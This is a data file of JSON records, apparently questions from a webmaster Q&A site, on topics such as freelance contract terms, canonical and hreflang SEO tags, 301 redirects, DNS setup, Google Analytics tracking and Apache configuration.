{"id":"42949","title":"Freelance Terms","text":"I am having many arguments with my client about the terms of a large project and need some advice. The client is a middle man linking me up with the company that needs the website, so the end customer is this company that my client knows, that I have no connection to, other than through him. I agreed to do freelance work for an extremely reasonable price, way below what its worth. **What (I) the freelancer wants** I tried to come up with an extremely reasonable contract that contains information about payment due dates, if any changes are made to project scope additional fees apply, project files are to be delivered after no balance remains, $30 late fee per day will be applied daily after exceeding 5 days after the due date. Are any of these terms unreasonable? Aren't the terms usually a lot worse? **What the client wants** The client refuses to adhere to my contract and wants to create his own contract that says that payment due dates may change at any time and I will be paid 7 days after I show progress with the site (which can be whenever he wants). Progress with the site will be shown using CFT which forces me to transfer files to his server, so this means I deliver half the project before I get paid and last but not least, no late fees. Since when do clients make the contract between them and the web developer? I'd appreciate any advice, with this situation. Many thanks in advance!"}
{"id":"42768","title":"Importance of 'href' attribute within an <a>","text":"I am aware of the 'content is king' seo rule, but I'm also wondering whether empty `<a>` HTML elements is a relatively big downside regarding SEO. To be more precise and actually cut to the chase, I want to use this javascript plugin http:\/\/kirkas.ch\/ascensor\/#\/Home for a site. As you can observe, the \"navigation bar\" (bottom right) uses empty `<a>` elements for navigation."}
{"id":"27483","title":"Not index page that doesn't have relevant content?","text":"I have a large software website and on each application we let users add comments, reviews and so on. Each of these pages are called for example \"Comments About Firefox\", \"Firefox Reviews\" and so on. If we don't have any reviews or we for some reason KNOW that the visitor from Google would be disappointed should we add \"noindex\" to that page? Or should we just let Google decide if they want to rank us or not?"}
{"id":"27481","title":"Preventing indexing duplicate content by search engines","text":"I am in process of migrating my old domain (www.oldurl.com) to new domain (www.newurl.com). Almost all the content,URL structure as well database is same except for few URL's and only difference will be in the domain name. I have made entries in the Apache's .htaccess file to set 301 redirect and currently have blocked all search engines from crawling my new domain by setting in robot.txt file. I am not sure how i will handle the duplicate content issue as when i will make the new domain go live. * Should i block search engines to index\/crawl my old domain? i am new to this field and not sure if this is actually any duplicate content issue or not."}
{"id":"27485","title":"What are my options for Web 2.0 gallery software?","text":"My question is: What are my options if I need a Web 2.0 gallery software that work in a very similar manner to this _removed_ web site. Essentially: users can create account, then create and manage their own galleries. And all other users and guests can see these galleries, add tags, comments, etc. Basically a community driven gallery web site. When it comes to \"normal\" cms I know a lot of good options, but I never worked with any gallery management software... If you can suggest me some good solutions (free) it would be great! Also: If you by any chance know what software is used at this _removed_ website it would be even better, because this solution suits me the best and I would have used this engine, but I cant find any information on what this engine is and if it is even public, or privately developed thing."}
{"id":"20458","title":"Where can I register a .name domain?","text":"All the popular registrars I know of don't seem to offer this domain, and after Google'ing around for a while I came to an index of registrars for this TLD, but they all seem to be Russian. Is there a popular (preferably American) domain registrar that offers .name domains?"}
{"id":"27488","title":"Website \/ ftp management software with easy ACL","text":"I need to create users and give them ftp access to a specific paths (e.g. mike -> \/var\/www\/html\/mike ; bob -> \/var\/www\/html\/bob ) I'm using Centos \/ linux server. Is there any plug & play solution ? I've played around a bit with ftpd but couldn't set proper user access as specified above."}
{"id":"53795","title":"Add a custom domain to a Google Drive website?","text":"Is possible add a custom domain to a website created with Google Drive?"}
{"id":"19342","title":"How do developers access my site during construction?","text":"So I just finished my psd's and I am going to send them to a front end developer, but I'm at a loss at to the logistics of it. Do I just send them to the front end developer and have them upload them to my server, or to their test server? And then when I send it to backend development, do I just give the programmer my hosting credentials, etc, so they can login and work on my project? Is this how it works?"}
{"id":"61178","title":"Is there a way to make links to search photos on my site automatically with Google Image Search?","text":"I have a website where members can upload photos. I am trying to make sure that these are photos that members have the rights to, so when I am concerned, I do a search using Google image search to see where else the photo can be found on the Internet. (http:\/\/www.google.com\/imghp) I know there is a Firefox\/Chrome extension to allow search by right-clicking an image on a site, but I don't always have a desktop version of Chrome\/Firefox available (I often do these checks from a tablet or mobile phone). So, I would like to find a way to build links on my own site so that I can simply click the link for a photo and then perform the image search on Google. Is there a way to do this? I tried looking at the search queries that Google image search produces, but these look different than normal Google search queries when you choose the option to paste the URL in at the start."}
{"id":"51335","title":"Is it correct to use canonical and alternate hreflang links in the same page?","text":"I have a multilingual site and I think both, canonical URL and alternate hreflang URL should be defined. The URL structure is very simple: Language, tag and page title. * Structure: http:\/\/domain.com\/lang\/tag\/page * Example: http:\/\/domain.com\/en\/funny\/man-walks-on-banana The page has multiple tags. While going through pages under one category, the category name should be maintained in the URL like following: * http:\/\/domain.com\/en\/funny _clicks a link_ * http:\/\/domain.com\/en\/funny\/man-walks-on-banana _clicks \"next\"_ * http:\/\/domain.com\/en\/funny\/woman-walks-on-banana _clicks \"next\"_ * http:\/\/domain.com\/en\/funny\/some-other-funny-stuff When some of these pages is also related to the tag \"accidents\" and many more tags, it means that the page has multiple URLs, which causes duplicate content: * http:\/\/domain.com\/en\/funny\/man-walks-on-banana * http:\/\/domain.com\/en\/accidents\/man-walks-on-banana * (same page, different URL, bad) This will be handled by defining a canonical URL. We have decided not to create \"sub-tags\", so we need to decide which tag is the most important one for this content. So under whatever tag the page is being viewed, canonical URL refers to: <link rel=\"canonical\" href=\"http:\/\/domain.com\/en\/FUNNY\/man-walks-on-banana\" \/> Now the question occurs when the site is multilingual. According Google's instructions I should set an alternate link hreflang to the finnish version of the page. <link rel=\"alternate\" href=\"http:\/\/domain.com\/en\/funny\/man-walks-on-banana\" hreflang=\"en\" \/> (english versison of the page) <link rel=\"alternate\" href=\"http:\/\/domain.com\/fi\/hauskat\/mies-kavelee-banaanin-paalta\" hreflang=\"fi\" \/> (finnish version of the page) Alternate hreflang-links are defined in both versions, but in both versions there should still be the canonical link, so that the page is under the main tag, in its own language. If we assume we're on the english version of the page \"\/en\/sometag\/man-walks- on-banana\", would it go like this: <link rel=\"alternate\" href=\"http:\/\/domain.com\/en\/funny\/man-walks-on-banana\" hreflang=\"en\" \/> <link rel=\"alternate\" href=\"http:\/\/domain.com\/fi\/hauskat\/mies-kavelee-banaanin-paalta\" hreflang=\"fi\" \/> <link rel=\"canonical\" href=\"http:\/\/domain.com\/en\/funny\/man-walks-on-banana\" \/> Is this a proper way to do this or not? Does the defining of a canonical link effect to the alternate hreflang-links or not? Does Google understand what I'm trying to tell them here? I hope you do. If so, what would be the proper solution? Thanks."}
{"id":"63089","title":"Nginx and Google Appengine Reverse Proxy Security","text":"The scenario is that I have a Google compute node running Nginx as a reverse proxy to the google appengine. The appengine is used to service REST calls from an single page application (SPA). HTTPS is used to the Nginx front end from the Internet. Do I also need to make the traffic from the Nginx reverse proxy to the appengine secure by turning on HTTPS on the appengine? I would like to avoid the overhead of HTTPS between the proxy and the backend. My thinking was that once the traffic has arrived at Nginx encrypted, decrypted in Nginx, and then sent via the reverse proxy inside of Google's infrastructure it would be secure. Is it safe in this case to not use HTTPS?"}
{"id":"11906","title":"How do I verify the ownership of a domain from Namecheap to use Google Apps?","text":"I registered a domain with Namecheap.com, and started the Google Apps registration process. After the initial data filling, google apps wishes me to prove the ownership of a domain, and has given me 4 choices: * Add a DNS record to your domain's configuration * Link to your Google Analytics account * Upload an HTML file to your server * Add a meta tag to your site's home page What is the differences between these, and how do I (if someone knows perhaps how to do it on Namecheap, it would be even better) complete this step in the process? I would appreciate any advice you might have."}
{"id":"12302","title":"Javascript not loading from local drive","text":"I'm overlooking the obvious...Modifying an index page on local hard drive before uploading it to server. And the javascript is not loading. This doesn't work: file:\/\/\/Users\/meltemi\/Sites\/mysite\/index.html But, when page is uploaded and served from Apache then the javascript works: http:\/\/www.mysite.com\/index.html Site directories are identical both locally and on remote server. I have tried this with Safari 5.0.5 & Firefox 4.0. code excerpts, though I don't believe it's a code issue: <!DOCTYPE html> <html lang=\"en\"> <!--<html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\" xml:lang=\"en\" lang=\"en\">--> <head> <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"> <link rel=\"stylesheet\" type=\"text\/css\" media=\"screen\" href=\"css\/main.css\" \/> <!--[if lt IE 9]> <script src=\"http:\/\/html5shim.googlecode.com\/svn\/trunk\/html5.js\"><\/script> <![endif]--> <script type=\"text\/javascript\" src=\"\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.5.1\/jquery.min.js\"><\/script> <script type=\"text\/javascript\" src=\"galleria\/galleria-1.2.3.min.js\"><\/script> <\/head> <body> <header class=\"group\"> <div id=\"header-inner\"> <nav class=\"group\"> ... <\/nav> <\/div> <\/header> <hr \/> <script type=\"text\/javascript\"> if (Galleria) { $(\"body\").text('Galleria works') } <\/script> <\/body> <\/html>"}
{"id":"60061","title":"Websites sharing the same IP address","text":"I have always been confused by the idea that multiple websites sharing the same IP address. I mean if there is a webserver out there that has an IP address. I can simply key in this IP address with the right port such as 80 and the destination gateway knows which server to forward this incoming request. This case, port 80 is the webserver and the website is served out to the client. However, I do not understand how two websites can be hosted on the webserver and one IP address. Let's say the two websites with names of abc.com and xyz.com are hosted on the same webserver with one IP address. The DNS server that I use such as one from my ISP can resolve the names with the IP adress just fine, pointing my web browser to the correct webserver, but my confusion is how the webserver know which website to serve out? I always thought that the only way to differentiate between different websites on the same webserver is their respective port numbers. In other words, if the incoming request is on port 80, it's abc.com and if it is port 81 it is xyz.com. Obviously, I am not putting in xyz.com:81 on my web browser so it uses port 80 by default. Then why do I get the actual xyz.com website in return and not abc.com?"}
{"id":"30168","title":"Whatchamacallit: You know how there are breadcrumbs and sliders and whatnot","text":"What do you call it when a web site (especially corporate\/retail) has a series of rows with thumbnails, each with a little caption\/description beneath explaining some benefit or feature of a product or service. Is there a name for this? I'm building a theme that incorporates this kind of design and I was hoping there is some kind of shorthand for this design feature. If you don't know what I'm talking about, check out one of the links below. http:\/\/themeforest.net\/item\/revolution-minimalist-business-html- template\/full_screen_preview\/2295335 http:\/\/themes.two2twelve.com\/preview?theme=freshserve"}
{"id":"30165","title":"Can I programatically update a Google Analytics filter?","text":"We have a constantly changing list of IPs that needs to be filtered out of google analytics, is there some API, or way to fetch the list of IPs to be included in a Google Analytics filter?"}
{"id":"30167","title":"Canonical links and best way to use parameters with url rewriting","text":"I use my own custom routing module in PHP and mod_rewrite. A typical main page URL looks like this: `http:\/\/www.example.com\/services` There's a large part of the website that displays the products on the site (6000 pages indexed in Google), for which the URLs look like this: `http:\/\/www.example.com\/products\/model\/bmw\/cat\/lubricants` The problem is that in some pages, there are links to the same pages from above that also contain a parameter: `http:\/\/www.example.com\/products\/model\/bmw\/cat\/lubricants\/highlight\/value` So those URL's have the same content, the second just has a parameter that is used to highlight a certain product. The problems I have are: * Google indexed a version of each of the URL's. I don't want visitors to land directly to the version with the _highlight_ parameter, so I don't want those URLs indexed * In Webmaster Tools, the pages appear with duplicate title (don't know why I don't get a warning about duplicate content\/meta\/etc too, because they're the same, but..). So this has to be fixed. I can think of these possible solutions: 1. Use the `<link rel=\"canonical\">` when the page is requested with the _highlight_ parameter and point to the one without it. Leave the URLs in the form they are now. Wait for Google to merge them in time. 2. Instead of \"rewriting\" the _highlight_ parameter (with \/), append it the classic way: `www.example.com\/products\/model\/bmw\/cat\/lubricants\/?highlight=value`, and add _highlight_ in Webmaster Tools to the ignore list of parameters; that way, parameters that don't really change page content would be distinguishable by search engines. This solution would also shorten the depth a little (as seen by search engines), and I believe it's a good thing from a SEO standpoint. 3. A combination of 1 and 2: canonical links and classic parameters. Again, should I add the parameter in Webmaster Tools in order to _force_ Google merge the results and not wait for a crawl of those pages? 4. This one is stupid, but: add _highlight_ in Webmaster Tools and keep the URLs as they are, but I don't think it works this way and Google expects only url's in the form ?x=y in order to detect parameters and exclude pages from results. **So, which of these would work best? Is there something else I should do?** There are only 300 results indexed in Google of pages with the parameter. I wouldn't mind to lose them, but a \"merge\" with the no-parameter pages would pe preferred. And that mention in Webmaster Tools about duplicate titles somewhat bothers me. Does that affect ranking of those pages (or their no-parameter correspondants)?"}
{"id":"15621","title":"Recomendation for Webshop with API","text":"I'm searching for a webshop. The problem with my search is, that the webshop- software of my choice needs to have a useabel API or some interface for external applications. E.g. i need to place orders by an external application or need to get product descriptions or warehouse stock from the external application. I somehow would like to have a webshop wehere the webinterface is just one way to interact with the whole system. There are some other requirments, which have to be fullfilled, but i guess they are kind of common: * running on linux * MySQL (we already have MySQL-replication and backup in place) * i like open source but i'm willing to pay for it, if it's worth it I found some webshops on the net - but perhaps you can tell me, if theres any hope for a webshop with a good API before i go and test all of them, on the first look i didn't find any docs about any interface to external applications for any of my search results. Thank you!"}
{"id":"7035","title":"Basic way to clean url from normal url","text":"i want to make clean url from normal url : \/\/ Normal URL home.php?kategori=dress \/\/ Clean URL home.php\/dress How could i build clean url like above.. Thanks in advance"}
{"id":"9013","title":"Suggest me a great customer support web application. Like Github support","text":"I am looking for a customer service solution. Managed. Paying is not a problem. I like these two solution, and look the same to me: http:\/\/support.mongohq.com\/ http:\/\/support.github.com\/ Do you know what are they using? Can you provide a different and better alternative?"}
{"id":"66912","title":"What resolution in sitemap.xml image attribute?","text":"I'm just creating a sitemap for my page and I found these aspects for creating it on Google: https:\/\/support.google.com\/webmasters\/answer\/183668 There is a attribute for images, but my question is: Does anyone know what kind of image site I have to put there? There is a big image on the page and should I include the full resolution path or a path to a thumbnail? Anyone got experience with that?"}
{"id":"21505","title":"Redirection 302 during DNS update","text":"I will migrate my website from server A to server B. During the DNS propagation, the users arriving on server A will be 302 redirected (rewrite rule in Apache) to a temporary alias on server B. Example: A (http:\/\/www.mywebsite.com) -> B (http:\/\/mywebsite.com.myhoster.com) When their DNS is updated, they will go to server B (www.mywebsite.com). After a few days, we will stop server A and remove the alias on server B. Is it a good practice (SEO and technically)? Or do you have an other idee? **Note:** The TTL of the DNS record has been set to 300 to speed the DNS switch."}
{"id":"24024","title":"VPS DNS Records Multiple Domains","text":"I am very new to using a VPS (two days old) and have a limited understanding of hosting in general, so sorry if this is a very simple or ill-explained question. I just purchased a VPS with plesk installed and am in the process of pointing my domains to the new server. The server has the following nameservers: ns1.mydomain.com (123.123.123.123) <- fake ns2.mydomain.com (123.123.123.124) <- fake What I don't understand is now that I have pointed my domain to ns1.mydomain.com and ns2.mydomain.com how would I point another domain of mine to that server? I have setup a domain in my plesk control panel, does this happen automatically? For example, if I setup \"anotherdomain.com\" in the cp, can I just point \"anotherdomain.com\" to ns1.mydomain.com and it will work? Help!"}
{"id":"49853","title":"Canonical created by WordPress SEO plugin by Yoast","text":"On a WordPress website, WordPress SEO plugin by Yoast creates this weird canonical link. Basically the website name is `www.test.com` and when I inspect the webpage at `www.test.com` it shows me this link: <link rel=\"canonical\" href=\"http:\/\/www.test.com\/\"> This looks completely wrong to me, because canonical should be the same content on different URL but the URL is the same!"}
{"id":"60295","title":"Incorrect access detected, this server may be accessed only through \"http:\/\/localhost\/moodle\" address, sorry. Please notify server administrator.","text":" I tried this question then after i cannot access from localhost. is there any solution so that i can use both ways"}
{"id":"65197","title":"What happens when a temporary self-signed SSL certificate is replaced with a trusted certificate?","text":"My website is in beta stage. I am using a temporary self-signed SSL certificate with a short expiry date. Beta users have to add the exception on their browser to access HTTPS on my website. Subsequently, I will be replacing the certificate with a trusted one from a Certificate Authority. Upon replacement of the self-signed certificate with a trusted certificate, do these beta users need to do anything to access my site on HTTPS, such as deleting the self-signed certificate on their browser manually?"}
{"id":"66916","title":"Can government suspend any kind of domain?","text":"I am aware that country-wise domains like `.uk, .in, .se` can be suspended upon government request but does this apply to `.com, .net, .org` as well? If yes, under what conditions does ICANN puts them down? And how are websites like _The Pirate Bay_ (Government and companies are concerned about piracy which makes the website illegal) stil running if they could have been put down?"}
{"id":"63486","title":"Two different domains as one user session in Google Analytics","text":"I have two websites that are run as the same service. Each domain offers articles from a different market. At the top of each page the two domains are shown as menu options. If a user clicks one they can switch to the other domain. See here: http:\/\/www.cgtag.com Each domain has a different Google Analytics account, and when a user switches domains Google is counting this as a new session. It's listing the other domain as the \"referral\" for that new session. When the user switches back to the first domain Google is counting this as a returning visitor. This is messing up my reports. Showing returning visitors values that are higher than reality. It's also increasing hits on landing pages when the user switches, and listing the other domain as a referral site. I've found tips on how to list two domains as one website, but that results in merging the data. I want to keep the two domains separate so that I can track each ones performance, but I don't want to count domain changes as new sessions. Maybe something like treating the two domains as subdomains."}
{"id":"15489","title":"external website storage","text":"One of my clients is a business consultant, and stores powerpoint presentations on her website for conference attendees to download after a conference. There are 91 files totalling 111MB. I want to host these outside of my own web hosting account, to save disk space and bandwidth. Any recommendations on (hopefully free) providers? I just signed up for a free web hosting account with host-ed, and they required a domain be attached to the account."}
{"id":"28084","title":"Does MediaWiki have a News extension?","text":"Many CMS' have news on the front page, where e.g. the sysop\/webmaster posts about down time and other important news. Often these can be scheduled, so that you e.g. write on Monday, and wants it to be visible from Tuesday to Friday. **Question** Does MediaWiki have something like that?"}
{"id":"15481","title":"Can a sitemap change result in a drop of visits?","text":"I recently restructured and resubmitted the sitemap for a website of mine in GWT. The old one was built by a script I acquired, which had its flaws but dit the job. After having implemented URL rewriting, I decided to write my own sitemap generator, in order to have a solution which perfectly fits my requirements and provides much better and accurate info than the old one. The integration went well, GWT displayed the green tickmark and the correct number of URLs. Around the time I have submitted the new sitemap however, I noticed a big drop in visits to the site. Is that normal behavior when one makes an important change to a sitemap, or is it pure coincidence and I need to look for the reason for declining visits elsewhere ?"}
{"id":"15952","title":"Is it okay for a web designer to advertise widgets?","text":"I have 10 widgets (facebook, disqus, twitter, etc.) that I can add to a site when I am designing it. Is it okay to charge for adding these things to the package?"}
{"id":"15955","title":"Issue with permanent redirect implementation","text":"I have a tricky problem related to 301 redirections I badly need help with. I tried to implement these via .htaccess, but ran into trouble. The start of my .htaccess looks like this: SetEnv PHP_VER 5 Options +FollowSymlinks RewriteEngine on # Redirect non-www to www RewriteCond %{HTTP_HOST} !^(www\\.|$) [NC] RewriteRule ^ http:\/\/www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L] #--- GENERAL --- RewriteRule ^index\\.html$ index.php [L] ... When I try to put a permanent redirect to index.php by adding R=301 in the square brackets, I get a 404, and I have no idea where the error comes from."}
{"id":"15485","title":"Windows equivalent of localtunnel","text":"Does anyone know of a Windows equivalent of localtunnel?"}
{"id":"30706","title":"When the canonical page itself changes URL","text":"This is a continuation of the question: How to handle canonical URL changes like Stack Overflow. Say I have the canon URL: `questions\/11\/car` <---canonically-linked-from--- `questions\/11\/` What will happen if I want to change the canon URL to: `questions\/11\/car-with-sgx` Obviously, `questions\/11\/` will point to the new canon URL. But how should the old `questions\/11\/car` change to the new one? There are two ways: 1. 301 redirect that to new canon URL 2. the old canon URL canonically link to the new canon URL According to this post: > [By using canonical link instead of redirect,] OldPage.html’s rankings will > drop over time due to fewer internal links, but the canonical tag won’t make > it disappear entirely. It could theoretically remain in their index until > one of the following occurs: > > 1. it is redirected permanently via 301 > 2. it returns a 404 for an extended period of time (they will keep > checking for a while before dropping a URL) > 3. a meta robots “noindex” tag is added > If this is true, I really need to use redirect from old canon URL to the new canon URL, which means I need to keep a log of previous old canon URLsof this content, so I know when I can redirect. This is a bit of a hassle to do."}
{"id":"30396","title":"Which web framework uses 'eservice_enu' as part of its default path?","text":"I've seen `http:\/\/example.com\/eservice_enu\/` all over the place, especially on sites that handle payments. Which framework is this? I realize any site could choose this path component arbitrarily."}
{"id":"50217","title":"Shifting from no-www to www and browsers' password storage","text":"I created a website having user-registration system and invited my friend to join it. I gave him the link of `no-www` version: `http:\/\/mydomain.com` but now after reading this and this, I want to shift to `www.mydomain.com`. But there's a problem. I saw that my browser is storing separate passwords for `mydomain.com` and `www.mydomain.com`. So in my friend's browser his password must have been stored for `no-www`. That means after I shift to `www` and next time he opens the login page, his browser wouldn't auto-fill the username and password fields and there will also be an extra entry (of `no-www`) in his browser's database of stored passwords. Can this be avoided? Can I do something that will convey to browsers that `www.mydomain.com` and `mydomain.com` are the same website? I already have a CNAME record for `www` pointing to `mydomain.com` but it seems that search engines consider CNAME as alias but browsers consider them as different websites, I don't know why."}
{"id":"58765","title":"Creating a Facebook web app - would I be legally responsible for the data?","text":"I'm creating a discussion forum \"web app\" for a friend. He want's me to add Facebook login to his site by creating a Facebook app. Am I legally responsible for the data if I create the app under my Facebook account? Who should register the Facebook app - the developer or the owner? Can the right to the data be moved to a third-party after I finish configuring it? I wish to prevent any possible future problems with privacy issues, I'm just doing a job, and I really don't want to have anything to do with the data."}
{"id":"60813","title":"Consolidating to one page when multiple pages appearing in SERPs","text":"I've got a web site which for historical reasons has two or three pages that appear closely in serps for any given search term. The site is a spanish language site with two different but related domains, `capital-federal.enbuenosaires.com.ar` and `www.enbuenosaires.com`. An example would be the search term: \"propiedades en venta en almagro\" (properties for sale in almagro). PR1 - SERP 1 Position 3: http:\/\/www.enbuenosaires.com\/almagro-ventas.html PR1 - SERP 1 Position 6: http:\/\/capital- federal.enbuenosaires.com.ar\/m-almagro\/departamentos-ventas-es_AR.html This is one isolated example but there are many (thousands) of pages some appearing high up, some further down in the SERPs. The pages in the `www.enbuenosaires.com` page are newer (since 2013) and updated in real time. The page in the `capital-federal.enbuenosaires.com.ar` domain heavily interlink to each other and are older (have been around since 2007) and are updated weekly. Many of the pages seem to have reasonable PR (0,1,2) and have been indexed without a problem. My question is what should I do? My feeling is that I should reduce the number of pages in order to \"distill\" and concentrate page rank within the site and thus appear higher in the SERPs. Things which occur to me are: 1. prune the site (remove one of the pages) and 301 from one of the pages to the other 2. prune the site (remove one of the pages) and 301 to a central \"sitemap\" page with links to the \"canonical\" landing pages 3. generally reduce the pages via 301 to the home page of `www.enbuenosaires.com` 4. leave it as it is Any suggestions or comments with reasoning very welcome."}
{"id":"47810","title":"can a web design agency take credit for my work?","text":"Recently, a client and I ended our work relationship and he will be taking his business to a web design agency. I've noticed that it is standard practice of this agency to put \"Web site designed by \" (which I found quite amateurish to be honest). but what happens if the agency place that text on a web site that I designed and they just happen to be maintaining it? I'm using CSS frameworks, JS plugins, and some stock images released under GPL and MIT licenses if that matters. If this agency is placing that text and taking credit for my work, can I ask them to remove it?"}
{"id":"1000","title":"How do I get Images for my site to Return in Google Searches","text":"I know when I search Google for specific things I get back images underneath some sites. How do I get that to work for my site? I have even seen some sites that will return 4 or 5 images for the the site that are all relevant to my search"}
{"id":"63398","title":"Google sitemap HrefLang tag without the main site url","text":"We have websites with multilingual content. e.g. * `http:\/\/www.example.com\/about-us\/` * `http:\/\/www.example.com\/en-HK\/about-us\/` * `http:\/\/www.example.com\/en-GB\/about-us\/` * `http:\/\/www.example.com\/zn-CH\/about-us\/` We need to configure the hreflang tags in sitemap for Google to know that there are alternate links for the same pages in different languages. I know for the above example that my sitemap URL tag would look like this: <url> <loc>http:\/\/www.example.com\/about-us<\/loc> <xhtml:link rel=\"alternate\" hreflang=\"en-GB\" href=\"http:\/\/www.example.com\/en-GB\/about-us\"\/> <xhtml:link rel=\"alternate\" hreflang=\"en-HK\" href=\"http:\/\/www.example.com\/en-HK\/about-us\"\/> <xhtml:link rel=\"alternate\" hreflang=\"zn-CH\" href=\"http:\/\/www.example.com\/zn-CH\/about-us\"\/> <changefreq>daily<\/changefreq> <priority>0.8<\/priority> <\/url> However, if I don't have the main URL but just the last three ones with en-HK, en-GB and zn-CH, then how should my URL tag look? Should I just skip the loc tag and keep the three xhtml:link tags? Or can I specify any URL in the loc tag and put the remaining two in xhtml:link tags? I am new to Google sitemaps. Any help is greatly appreciated. Thanks, Rashmi **Edit** : From the answer posted on http:\/\/stackoverflow.com\/questions\/18423624\/sitemap-for-domain-with- multilanguage-site\/18423803#18423803, for my example with sites in en-HK, en- GB and zn-CH, should there be three URL tags, with each of them assigned to loc with the other two in xhtml:link?"}
{"id":"67430","title":"Google Analytics, how to track number of banner shows as events?","text":"Well, not exactly banners, I just used this word as it is easier to understand in a title. So, I have 16 different CTA \"boxes\" with a couple lines of persuasive copy and a CTA button. I want to test which one performs the best. I am showing the boxes randomly and counting button clicks as events in GA. However, without knowing how many times each CTA \"ad\" has shown, number of button clicks doesn't say much. So, with Google Analytics, how do I trigger an even every time such CTA box is shown? It's basically a DIV that I'm in need of placing some javascript to."}
{"id":"67437","title":"How to avoid google from indexing like example.com\/post\/post\/post\/1-foobar.html?","text":"I have a weird anomaly with one project. Where Google is indexing sites like: > example.com\/post\/post\/post\/1-foobar.html While it should do it like: > example.com\/post\/1-foobar.html I just recently added canonical tags, so ultimately it should use those right? And I think the problem is also in my page display script. So it doesn't give 404, if the format isn't correct. However.. **How on earth does Google even get to those links?** Is it because of `<a href=\"\/post\/1-foobar.html\">Example<\/a>`? And also I had baseurl set in the head. And it somehow, thinks its a directory and goes on and on. I have set all my links `<a href=\"http:\/\/example.com\/post\/1-foobar.html\">Example<\/a>` now. But I really don't see the point, its just an extra bytes to load.."}
{"id":"67439","title":"Rewrite URL with masking from HTTP to HTTPS site (on a different server) are certs needed on first server?","text":"I have a *:80 virtual host in Apache 2.2.15 which is just a bunch of URL rewrites like: ServerAlias foo.bar biz.baz tit.tat RewriteRule \/ http:\/\/somesite.com (R=301,L) ServerAlias differentsite.com example.it RewriteRule .... I want to do a masked URL rewrite so babysnakes.com goes to https:\/\/dancingfool.com\/moms.php I tried using mod_rewrite with P flag and I tried mod_proxy and then realized it doesn't handle SSL proxying, that mod_ssl should handle. What I am not clear on is whether I can do SSLProxyEngine in a non SSL vhost config (no certs defined etc)."}
{"id":"51333","title":"Google Analytics showing more unique visitors than there are pages on an intranet site","text":"I take care of a company intranet and measure the traffic with GA. I am absolutely sure that there are no more than 5000 URLs in our company and it is impossible to check the intranet from outside the company network. Yet when I check the number of Unique Visitors (UV) in the last year GA says there were 36.500 of them. How is that possible? I thought UV should measure each URL only once in the given time period. Could anybody explain how this actually works? Can it be that the cookie trackers expire after some time and are counted more then once?"}
{"id":"4348","title":"What's the difference between Amazon's EC2 and S3 services?","text":"I heard Amazon is going to offer a free trail of their hosting services soon with their EC2 tier. I'm a new web developer and I'm still learning a lot about hosting and server configuration so I'm looking at a lot of hosts. What are some main differences between EC2 and S3 services offered by Amazon?"}
{"id":"4343","title":"My archives are beating my current content, how do I stop from competing against myself?","text":"I've inherited a site with about 15,000 pages going back 16 years. Often current events are outranked by previous events. What are the best techniques to make sure that I'm not fighting against myself while still keeping old content (the long tail eh?) available to search engines? Currently 50% of the site or less is data driven."}
{"id":"28252","title":"Will google \"forget\" unlinked pages?","text":"If i remove all links to a page, but do not delete the page from the site (nor block it from being requested), will google eventually \"forget\" about it when it reindexes the site? Assuming of course there are no other links to the page somewhere else externally. Or will google continue to request the page and verify it in the index and keep it around so long as it returns a valid page? Is this similar for Bing et al?"}
{"id":"65668","title":"Sending low volumes of HTML email from my web app","text":"Using AngularJS and Firebase I am developing a small scale social-type web app (max. hundreds of users) that features an invite system, where existing users invite people they know and the system sends out an email for the invite. Invite emails are triggered by a record being added to Firebase, and Zapier detects this and sends an email from a dedicated Gmail account. The system also has a simple user-to-user message system, and emails are also sent if a user receives a message from a fellow user. For the prototype stage Gmail seems fine. I've tested sending emails to Yahoo and Hotmail\/Outlook accounts and they've got through. Even in a production version there'd be a low volume of email -not more than a few hundred a day, if that, so Gmail's limits wouldn't be a problem. However for a production version Gmail doesn't look like it would work. Firstly, Zapier is only able to send plain text emails from Gmail in a zap, and I need to send HTML links in the emails. TBH I've very limited understanding of email systems but I've read about the difficulty of programmatic email sending (spam filters stopping a lot of legitimate mail). My newbie assumption is that my Gmail emails are not being filtered as spam by Yahoo and Hotmail because Gmail doesn't get used by spammers given its per-day send limit. Zapier also offers Mailchimp, Mailup, Mailgun, Mandrill, Alphamail and Sendgrid for outbound email. As far as I can tell, whether or not an email gets through spam filters depends on things like building up a reputation for your IP\/domain, but I'd need invites to work as soon as the production version gets its first user. Could one of these offer what I need? I need to ensure emails are not filtered as spam. I can ask users to add a personalised message to invites, but beyond that, what can a system such as mine do to ensure the messages are not filtered as spam? (The prototype also does not have a \"proper\" domain name, but the production system would need one, and emails would need to come from that domain.)"}
{"id":"28702","title":"How to dump a MediaWiki for offline use?","text":"I would like to be able to make an offline version of a MediaWiki site on a weekly basis. The DumpHTML extension actually does what I want, as it dumps all articles and media files, but I can't see any index of all the articles it have dumped, so I can't navigate in the dump. Reading about the XML dump feature MediaWiki have, I wonder if it would be possible to either use a program to view these files or perhaps convert them to html? Or are there other ways to make an offline version of a MediaWiki site?"}
{"id":"14539","title":"web design quote wrong","text":"What is the best way to make the customer happy after a wrongly calculated quote? I calculated some functions to about $280 when those functions are really simple. I thought they would have been harder but after the customer explained I realized he was right and those functions could have been easily done for like $50. He finally decided he doesn't want the functions. Now I am not sure what to do, I don't want him to think that I have really expensive prices since that would be bad for my business. But at the same time I don't think I can tell him now that I can do the functions for $50, since he will think I was trying to steal money from him with a really high price before. I really thought at the first the functions were much more complex. Thanks for any advice!"}
{"id":"28254","title":"How to create an advertise like this?","text":"I saw an ad on this website. I need a similar ad for my website but google adsense dashboard does not have any ads like this. Please guide me. Thanks"}
{"id":"28709","title":"Can I use both Digest and Basic Authentication on the same directory in Apache?","text":"The reason I would want to do this is to support very old browsers (e.g. IE 6) that does not implement the more secure Digest method. If all new clients advertise the types of authentication they support in the HTTP protocol, this should be doable in principle. If a client does not advertise that, Apache should fall back to the Basic auth scheme. The advantage over using Basic auth is apparent: it would prevent passwords to travel in clear over the network most of the times, since the new browser are the majority, while still supporting some very old browsers that are still around. In other words, it would increase security."}
{"id":"17880","title":"When using Google Sites with a Godaddy domain, how do you alias example.com to www.example.com?","text":"I know how to do this in an Apache2 config file and my own DNS configuration... But here I'm forced to host the site at Google Apps and the DNS at `Goddady.com`. What's the easiest way to alias `example.com` to `www.example.com` in this situation? I'm sure I need a forwarding mechanism. Without introducing an intermediary Apache server just for this purpose, if at all possible.."}
